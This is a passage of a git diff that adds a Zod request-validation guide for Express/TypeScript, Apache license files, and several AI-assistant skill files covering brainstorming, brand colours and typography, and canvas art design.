z.string().email(), + name: z.string().min(2).max(100), + roles: z.array(z.enum(['admin', 'operations', 'user'])), + isActive: z.boolean().default(true), +}); + +export const updateUserSchema = z.object({ + email: z.string().email().optional(), + name: z.string().min(2).max(100).optional(), + roles: z.array(z.enum(['admin', 'operations', 'user'])).optional(), + isActive: z.boolean().optional(), +}); + +export type CreateUserDTO = z.infer; +export type UpdateUserDTO = z.infer; +``` + +```typescript +// controllers/UserController.ts +import { Request, Response } from 'express'; +import { BaseController } from './BaseController'; +import { UserService } from '../services/userService'; +import { createUserSchema, updateUserSchema } from '../validators/userSchemas'; +import { z } from 'zod'; + +export class UserController extends BaseController { + private userService: UserService; + + constructor() { + super(); + this.userService = new UserService(); + } + + async createUser(req: Request, res: Response): Promise { + try { + // Validate input + const validated = createUserSchema.parse(req.body); + + // Call service + const user = await this.userService.createUser(validated); + + this.handleSuccess(res, user, 'User created successfully', 201); + } catch (error) { + if (error instanceof z.ZodError) { + // Handle validation errors with 400 status + return this.handleError(error, res, 'createUser', 400); + } + this.handleError(error, res, 'createUser'); + } + } + + async updateUser(req: Request, res: Response): Promise { + try { + // Validate params and body + const userId = req.params.id; + const validated = updateUserSchema.parse(req.body); + + const user = await this.userService.updateUser(userId, validated); + + this.handleSuccess(res, user, 'User updated successfully'); + } catch (error) { + if (error instanceof z.ZodError) { + return this.handleError(error, res, 'updateUser', 400); + } + this.handleError(error, res, 'updateUser'); + } + } +} +``` + +**Pros:** +- Clean separation +- Reusable schemas +- Easy to test +- Type-safe DTOs + +**Cons:** +- More files to manage + +--- + +## DTO Pattern + +### Type Inference from Schemas + +```typescript +import { z } from 'zod'; + +// Define schema +const createUserSchema = z.object({ + email: z.string().email(), + name: z.string(), + age: z.number().int().positive(), +}); + +// Infer TypeScript type from schema +type CreateUserDTO = z.infer; + +// Equivalent to: +// type CreateUserDTO = { +// email: string; +// name: string; +// age: number; +// } + +// Use in service +class UserService { + async createUser(data: CreateUserDTO): Promise { + // data is fully typed! + console.log(data.email); // ✅ TypeScript knows this exists + console.log(data.invalid); // ❌ TypeScript error! + } +} +``` + +### Input vs Output Types + +```typescript +// Input schema (what API receives) +const createUserInputSchema = z.object({ + email: z.string().email(), + name: z.string(), + password: z.string().min(8), +}); + +// Output schema (what API returns) +const userOutputSchema = z.object({ + id: z.string().uuid(), + email: z.string().email(), + name: z.string(), + createdAt: z.string().datetime(), + // password excluded! +}); + +type CreateUserInput = z.infer; +type UserOutput = z.infer; +``` + +--- + +## Error Handling + +### Zod Error Format + +```typescript +try { + const validated = schema.parse(data); +} catch (error) { + if (error instanceof z.ZodError) { + console.log(error.errors); + // [ + // { + // code: 'invalid_type', + // expected: 'string', + // received: 'number', + // path: ['email'], + // message: 'Expected string, received number' + // } + // ] + } +} +``` + +### Custom Error Messages + +```typescript +const userSchema = z.object({ + email: z.string().email({ message: 'Please provide a valid email address' }), + name: z.string().min(2, { message: 'Name must be at least 2 characters' }), + age: z.number().int().positive({ message: 'Age must be a positive number' }), +}); +``` + +### Formatted Error Response + +```typescript +// Helper function to format Zod errors +function formatZodError(error: z.ZodError) { + return { + message: 'Validation failed', + errors: error.errors.map((err) => ({ + field: err.path.join('.'), + message: err.message, + code: err.code, + })), + }; +} + +// In controller +catch (error) { + if (error instanceof z.ZodError) { + return res.status(400).json({ + success: false, + error: formatZodError(error), + }); + } +} + +// Response example: +// { +// "success": false, +// "error": { +// "message": "Validation failed", +// "errors": [ +// { +// "field": "email", +// "message": "Invalid email", +// "code": "invalid_string" +// } +// ] +// } +// } +``` + +--- + +## Advanced Patterns + +### Conditional Validation + +```typescript +// Validate based on other field values +const submissionSchema = z.object({ + type: z.enum(['NEW', 'UPDATE']), + postId: z.number().optional(), +}).refine( + (data) => { + // If type is UPDATE, postId is required + if (data.type === 'UPDATE') { + return data.postId !== undefined; + } + return true; + }, + { + message: 'postId is required when type is UPDATE', + path: ['postId'], + } +); +``` + +### Transform Data + +```typescript +// Transform strings to numbers +const userSchema = z.object({ + name: z.string(), + age: z.string().transform((val) => parseInt(val, 10)), +}); + +// Transform dates +const eventSchema = z.object({ + name: z.string(), + date: z.string().transform((str) => new Date(str)), +}); +``` + +### Preprocess Data + +```typescript +// Trim strings before validation +const userSchema = z.object({ + email: z.preprocess( + (val) => typeof val === 'string' ? val.trim().toLowerCase() : val, + z.string().email() + ), + name: z.preprocess( + (val) => typeof val === 'string' ? val.trim() : val, + z.string().min(2) + ), +}); +``` + +### Union Types + +```typescript +// Multiple possible types +const idSchema = z.union([z.string(), z.number()]); + +// Discriminated unions +const notificationSchema = z.discriminatedUnion('type', [ + z.object({ + type: z.literal('email'), + recipient: z.string().email(), + subject: z.string(), + }), + z.object({ + type: z.literal('sms'), + phoneNumber: z.string(), + message: z.string(), + }), +]); +``` + +### Recursive Schemas + +```typescript +// For nested structures like trees +type Category = { + id: number; + name: string; + children?: Category[]; +}; + +const categorySchema: z.ZodType = z.lazy(() => + z.object({ + id: z.number(), + name: z.string(), + children: z.array(categorySchema).optional(), + }) +); +``` + +### Schema Composition + +```typescript +// Base schemas +const timestampsSchema = z.object({ + createdAt: z.string().datetime(), + updatedAt: z.string().datetime(), +}); + +const auditSchema = z.object({ + createdBy: z.string(), + updatedBy: z.string(), +}); + +// Compose schemas +const userSchema = z.object({ + id: z.string(), + email: z.string().email(), + name: z.string(), +}).merge(timestampsSchema).merge(auditSchema); + +// Extend schemas +const adminUserSchema = userSchema.extend({ + adminLevel: z.number().int().min(1).max(5), + permissions: z.array(z.string()), +}); + +// Pick specific fields +const publicUserSchema = userSchema.pick({ + id: true, + name: true, + // email excluded +}); + +// Omit fields +const userWithoutTimestamps = userSchema.omit({ + createdAt: true, + updatedAt: true, +}); +``` + +### Validation Middleware + +```typescript +// Create reusable validation middleware +import { Request, Response, NextFunction } from 'express'; +import { z } from 'zod'; + +export function validateBody(schema: T) { + return (req: Request, res: Response, next: NextFunction) => { + try { + req.body = schema.parse(req.body); + next(); + } catch (error) { + if (error instanceof z.ZodError) { + return res.status(400).json({ + success: false, + error: { + message: 'Validation failed', + details: error.errors, + }, + }); + } + next(error); + } + }; +} + +// Usage +router.post('/users', + validateBody(createUserSchema), + async (req, res) => { + // req.body is validated and typed! + const user = await userService.createUser(req.body); + res.json({ success: true, data: user }); + } +); +``` + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) - Main guide +- [routing-and-controllers.md](routing-and-controllers.md) - Using validation in controllers +- [services-and-repositories.md](services-and-repositories.md) - Using DTOs in services +- [async-and-errors.md](async-and-errors.md) - Error handling patterns diff --git a/skills/brainstorming/SKILL.md b/skills/brainstorming/SKILL.md new file mode 100644 index 00000000..2fd19ba1 --- /dev/null +++ b/skills/brainstorming/SKILL.md @@ -0,0 +1,54 @@ +--- +name: brainstorming +description: "You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation." +--- + +# Brainstorming Ideas Into Designs + +## Overview + +Help turn ideas into fully formed designs and specs through natural collaborative dialogue. + +Start by understanding the current project context, then ask questions one at a time to refine the idea. Once you understand what you're building, present the design in small sections (200-300 words), checking after each section whether it looks right so far. + +## The Process + +**Understanding the idea:** +- Check out the current project state first (files, docs, recent commits) +- Ask questions one at a time to refine the idea +- Prefer multiple choice questions when possible, but open-ended is fine too +- Only one question per message - if a topic needs more exploration, break it into multiple questions +- Focus on understanding: purpose, constraints, success criteria + +**Exploring approaches:** +- Propose 2-3 different approaches with trade-offs +- Present options conversationally with your recommendation and reasoning +- Lead with your recommended option and explain why + +**Presenting the design:** +- Once you believe you understand what you're building, present the design +- Break it into sections of 200-300 words +- Ask after each section whether it looks right so far +- Cover: architecture, components, data flow, error handling, testing +- Be ready to go back and clarify if something doesn't make sense + +## After the Design + +**Documentation:** +- Write the validated design to `docs/plans/YYYY-MM-DD--design.md` +- Use elements-of-style:writing-clearly-and-concisely skill if available +- Commit the design document to git + +**Implementation (if continuing):** +- Ask: "Ready to set up for implementation?" +- Use superpowers:using-git-worktrees to create isolated workspace +- Use superpowers:writing-plans to create detailed implementation plan + +## Key Principles + +- **One question at a time** - Don't overwhelm with multiple questions +- **Multiple choice preferred** - Easier to answer than open-ended when possible +- **YAGNI ruthlessly** - Remove unnecessary features from all designs +- **Explore alternatives** - Always propose 2-3 approaches before settling +- **Incremental validation** - Present design in sections, validate each +- **Be flexible** - Go back and clarify when something doesn't make sense diff --git a/skills/brand-guidelines/LICENSE.txt b/skills/brand-guidelines/LICENSE.txt new file mode 100644 index 00000000..7a4a3ea2 --- /dev/null +++ b/skills/brand-guidelines/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/brand-guidelines/SKILL.md b/skills/brand-guidelines/SKILL.md new file mode 100644 index 00000000..47c72c60 --- /dev/null +++ b/skills/brand-guidelines/SKILL.md @@ -0,0 +1,73 @@ +--- +name: brand-guidelines +description: Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatting, or company design standards apply. +license: Complete terms in LICENSE.txt +--- + +# Anthropic Brand Styling + +## Overview + +To access Anthropic's official brand identity and style resources, use this skill. + +**Keywords**: branding, corporate identity, visual identity, post-processing, styling, brand colors, typography, Anthropic brand, visual formatting, visual design + +## Brand Guidelines + +### Colors + +**Main Colors:** + +- Dark: `#141413` - Primary text and dark backgrounds +- Light: `#faf9f5` - Light backgrounds and text on dark +- Mid Gray: `#b0aea5` - Secondary elements +- Light Gray: `#e8e6dc` - Subtle backgrounds + +**Accent Colors:** + +- Orange: `#d97757` - Primary accent +- Blue: `#6a9bcc` - Secondary accent +- Green: `#788c5d` - Tertiary accent + +### Typography + +- **Headings**: Poppins (with Arial fallback) +- **Body Text**: Lora (with Georgia fallback) +- **Note**: Fonts should be pre-installed in your environment for best results + +## Features + +### Smart Font Application + +- Applies Poppins font to headings (24pt and larger) +- Applies Lora font to body text +- Automatically falls back to Arial/Georgia if custom fonts unavailable +- Preserves readability across all systems + +### Text Styling + +- Headings (24pt+): Poppins font +- Body text: Lora font +- Smart color selection based on background +- Preserves text hierarchy and formatting + +### Shape and Accent Colors + +- Non-text shapes use accent colors +- Cycles through orange, blue, and green accents +- Maintains visual interest while staying on-brand + +## Technical Details + +### Font Management + +- Uses system-installed Poppins and Lora fonts when available +- Provides automatic fallback to Arial (headings) and Georgia (body) +- No font installation required - works with existing system fonts +- For best results, pre-install Poppins and Lora fonts in your environment + +### Color Application + +- Uses RGB color values for precise brand matching +- Applied via python-pptx's RGBColor class +- Maintains color fidelity across different systems diff --git a/skills/canvas-design/LICENSE.txt b/skills/canvas-design/LICENSE.txt new file mode 100644 index 00000000..7a4a3ea2 --- /dev/null +++ b/skills/canvas-design/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/canvas-design/SKILL.md b/skills/canvas-design/SKILL.md new file mode 100644 index 00000000..9f63fee8 --- /dev/null +++ b/skills/canvas-design/SKILL.md @@ -0,0 +1,130 @@ +--- +name: canvas-design +description: Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create original visual designs, never copying existing artists' work to avoid copyright violations. +license: Complete terms in LICENSE.txt +--- + +These are instructions for creating design philosophies - aesthetic movements that are then EXPRESSED VISUALLY. Output only .md files, .pdf files, and .png files. + +Complete this in two steps: +1. Design Philosophy Creation (.md file) +2. Express by creating it on a canvas (.pdf file or .png file) + +First, undertake this task: + +## DESIGN PHILOSOPHY CREATION + +To begin, create a VISUAL PHILOSOPHY (not layouts or templates) that will be interpreted through: +- Form, space, color, composition +- Images, graphics, shapes, patterns +- Minimal text as visual accent + +### THE CRITICAL UNDERSTANDING +- What is received: Some subtle input or instructions by the user that should be taken into account, but used as a foundation; it should not constrain creative freedom. +- What is created: A design philosophy/aesthetic movement. +- What happens next: Then, the same version receives the philosophy and EXPRESSES IT VISUALLY - creating artifacts that are 90% visual design, 10% essential text. + +Consider this approach: +- Write a manifesto for an art movement +- The next phase involves making the artwork + +The philosophy must emphasize: Visual expression. Spatial communication. Artistic interpretation. Minimal words. + +### HOW TO GENERATE A VISUAL PHILOSOPHY + +**Name the movement** (1-2 words): "Brutalist Joy" / "Chromatic Silence" / "Metabolist Dreams" + +**Articulate the philosophy** (4-6 paragraphs - concise but complete): + +To capture the VISUAL essence, express how the philosophy manifests through: +- Space and form +- Color and material +- Scale and rhythm +- Composition and balance +- Visual hierarchy + +**CRITICAL GUIDELINES:** +- **Avoid redundancy**: Each design aspect should be mentioned once. Avoid repeating points about color theory, spatial relationships, or typographic principles unless adding new depth. +- **Emphasize craftsmanship REPEATEDLY**: The philosophy MUST stress multiple times that the final work should appear as though it took countless hours to create, was labored over with care, and comes from someone at the absolute top of their field. This framing is essential - repeat phrases like "meticulously crafted," "the product of deep expertise," "painstaking attention," "master-level execution." +- **Leave creative space**: Remain specific about the aesthetic direction, but concise enough that the next Claude has room to make interpretive choices also at a extremely high level of craftmanship. + +The philosophy must guide the next version to express ideas VISUALLY, not through text. Information lives in design, not paragraphs. + +### PHILOSOPHY EXAMPLES + +**"Concrete Poetry"** +Philosophy: Communication through monumental form and bold geometry. +Visual expression: Massive color blocks, sculptural typography (huge single words, tiny labels), Brutalist spatial divisions, Polish poster energy meets Le Corbusier. Ideas expressed through visual weight and spatial tension, not explanation. Text as rare, powerful gesture - never paragraphs, only essential words integrated into the visual architecture. Every element placed with the precision of a master craftsman. + +**"Chromatic Language"** +Philosophy: Color as the primary information system. +Visual expression: Geometric precision where color zones create meaning. Typography minimal - small sans-serif labels letting chromatic fields communicate. Think Josef Albers' interaction meets data visualization. Information encoded spatially and chromatically. Words only to anchor what color already shows. The result of painstaking chromatic calibration. + +**"Analog Meditation"** +Philosophy: Quiet visual contemplation through texture and breathing room. +Visual expression: Paper grain, ink bleeds, vast negative space. Photography and illustration dominate. Typography whispered (small, restrained, serving the visual). Japanese photobook aesthetic. Images breathe across pages. Text appears sparingly - short phrases, never explanatory blocks. Each composition balanced with the care of a meditation practice. + +**"Organic Systems"** +Philosophy: Natural clustering and modular growth patterns. +Visual expression: Rounded forms, organic arrangements, color from nature through architecture. Information shown through visual diagrams, spatial relationships, iconography. Text only for key labels floating in space. The composition tells the story through expert spatial orchestration. + +**"Geometric Silence"** +Philosophy: Pure order and restraint. +Visual expression: Grid-based precision, bold photography or stark graphics, dramatic negative space. Typography precise but minimal - small essential text, large quiet zones. Swiss formalism meets Brutalist material honesty. Structure communicates, not words. Every alignment the work of countless refinements. + +*These are condensed examples. The actual design philosophy should be 4-6 substantial paragraphs.* + +### ESSENTIAL PRINCIPLES +- **VISUAL PHILOSOPHY**: Create an aesthetic worldview to be expressed through design +- **MINIMAL TEXT**: Always emphasize that text is sparse, essential-only, integrated as visual element - never lengthy +- **SPATIAL EXPRESSION**: Ideas communicate through space, form, color, composition - not paragraphs +- **ARTISTIC FREEDOM**: The next Claude interprets the philosophy visually - provide creative room +- **PURE DESIGN**: This is about making ART OBJECTS, not documents with decoration +- **EXPERT CRAFTSMANSHIP**: Repeatedly emphasize the final work must look meticulously crafted, labored over with care, the product of countless hours by someone at the top of their field + +**The design philosophy should be 4-6 paragraphs long.** Fill it with poetic design philosophy that brings together the core vision. Avoid repeating the same points. Keep the design philosophy generic without mentioning the intention of the art, as if it can be used wherever. Output the design philosophy as a .md file. + +--- + +## DEDUCING THE SUBTLE REFERENCE + +**CRITICAL STEP**: Before creating the canvas, identify the subtle conceptual thread from the original request. + +**THE ESSENTIAL PRINCIPLE**: +The topic is a **subtle, niche reference embedded within the art itself** - not always literal, always sophisticated. Someone familiar with the subject should feel it intuitively, while others simply experience a masterful abstract composition. The design philosophy provides the aesthetic language. The deduced topic provides the soul - the quiet conceptual DNA woven invisibly into form, color, and composition. + +This is **VERY IMPORTANT**: The reference must be refined so it enhances the work's depth without announcing itself. Think like a jazz musician quoting another song - only those who know will catch it, but everyone appreciates the music. + +--- + +## CANVAS CREATION + +With both the philosophy and the conceptual framework established, express it on a canvas. Take a moment to gather thoughts and clear the mind. Use the design philosophy created and the instructions below to craft a masterpiece, embodying all aspects of the philosophy with expert craftsmanship. + +**IMPORTANT**: For any type of content, even if the user requests something for a movie/game/book, the approach should still be sophisticated. Never lose sight of the idea that this should be art, not something that's cartoony or amateur. + +To create museum 